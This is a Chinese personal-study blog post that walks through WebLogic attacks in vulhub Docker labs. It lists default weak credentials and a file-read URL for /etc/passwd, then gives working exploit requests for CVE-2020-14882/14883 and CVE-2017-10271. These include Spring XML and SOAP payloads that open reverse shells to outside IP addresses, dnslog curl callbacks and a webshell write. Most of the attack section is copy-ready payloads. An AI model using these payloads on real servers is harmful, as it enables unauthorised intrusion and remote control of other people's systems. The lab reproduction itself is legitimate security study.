简介
Weblogic 是美国 Oracle公司出品的一个 application server,确切的说是一个基于 JAVA EE 架构的中间件, WebLogic是用于开发、集成、部署和管理大型分布式 web 应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和 Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
前置申明
本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧
本博客的所有Security 大类下的文章只能作为学习研究使用,不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络
如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)
中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。
参考资料
Weblogic 漏洞之弱口令、任意文件读取、上传shell
弱口令
环境搭建
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| cd vulhub-master
cd weblogic/weak_password
docker-compose build
docker-compose up -d
docker run -dt --name docker_weblogic -p 9091:5556 -p 9090:7001 --rm 7d35c6cd3bcd
docker-compose down -v
http://www.security.ada:9090/console/login/LoginForm.jsp
|
常用弱口令
账户 |
密码 |
备注 |
weblogic |
Oracle@123 |
本环境存在该弱口令 |
system |
password |
|
weblogic |
weblogic |
|
guest |
guest |
|
portaladmin |
portaladmin |
|
admin |
security |
|
joe |
password |
|
mary |
password |
|
system |
security |
|
wlcsystem |
wlcsystem |
|
wlcsystem |
sipisystem |
|
脚本爆破
使用weblogicweakpwds.py 进行爆破
任意文件读取
确认是否存在任意文件读取漏洞-TODO
1 2
| http://www.security.ada:9090/hello/file.jsp?path=/etc/passwd
|
破解-TODO
文件包含漏洞未实现,阻塞
后台上传webshell
上传war包
验证
1 2 3 4
| http://www.security.ada:9090/test/JspSpy.jsp
ninty
|
控制台未授权远程命令执行漏洞
描述
Weblogic管理控制台未授权远程命令执行漏洞(CVE-2020-14882 CVE-2020-14883)
Weblogic是 Oracle公司推出的J2EE应用服务器。在2020年10月的更新中, Oracle官方修复了两个长亭科技安全研究员@ voidfyoo提交的安全漏洞,分别是 CVE-2020-14882
和CVE-2020-14883
CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程 Weblogic服务器上以未授权的任意用户身份执行命令
影响版本
Weblogic 10.3.6.0.0
Weblogic:12.1.3.0.0
Weblogic:12.2.1.3.0
Weblogic:12.2.1.4.0
Weblogic:14.1.1.0.0
启动
1 2 3 4 5 6 7 8 9 10
| cd vulhub-master
cd weblogic/CVE-2020-14882
docker-compose build
docker-compose up -d
docker run -dt --name docker_weblogic_14882 -p 9090:7001 --rm e0958635a01f
|
漏洞复现
权限绕过
1 2
| http://www.security.ada:9090/console/css/%252e%252e%252fconsole.portal
|
访问后台后,可以发现我们现在是低权限的用户无法安装应用,所以也无法直接执行任意代码 此时需要利用到第二个漏洞cVE-2020-14883
这个漏洞的利用方式有两种:
- com.tangosol.coherence.mvel2.sh.ShellSession
- com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
远程命令执行
- 这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在
com.tangosol.coherence.mvel2.sh.ShellSession
类。
- 通过com.tangosol.coherence.mvel2.sh.ShellSession 执行命令
管理员登录查看校验
1 2
| http://www.security.ada:9090/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success20210820');")
|
进入容器,可以发现touch /tmp/success20210820
已成功写入
dnslog外带校验
1 2
| http://www.security.ada:9090/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%201byd87.dnslog.cn');")
|
通杀的方法
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,我这里演示放在七牛云上
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/success2]]></value> </list> </constructor-arg> </bean> </beans>
|
1 2
| http://www.security.ada:9090/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("https://automation-manage.oss-cn-shanghai.aliyuncs.com/blog/file/rce.xml")
|
- 同样也可以用dnslog的方式,写在xml文件中上传至七牛云执行即可 替换curl后的域名即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.1.1/6666 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[curl vo3d82.dnslog.cn]]></value> </list> </constructor-arg> </bean> </beans>
|
XMLDecoder反序列化漏洞
Weblogic<10.3.6 ‘wls-wsat’ XMLDecoder反序列化漏洞(CVE-2017-10271)
Weblogic的 WLS Security组件对外提供 webservice服务,其中使用了 XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
影响版本
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0
启动环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| cd vulhub-master
cd weblogic/CVE-2017-10271
docker-compose build
docker-compose up -d
docker run -dt --name docker_weblogic_201710271 -p 9090:7001 --rm 7d35c6cd3bcd
docker-compose down -v
http://www.security.ada:9090/console/login/LoginForm.jsp
|
漏洞复现
反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/47.100.110.84/6666 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
![BurpSuite 反弹](/Users/ada/Library/Application Support/typora-user-images/image-20210822154914037.png)
写入webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[ <% out.print("test"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
工具使用
可通过一些工具的利用来实现框架漏洞的复现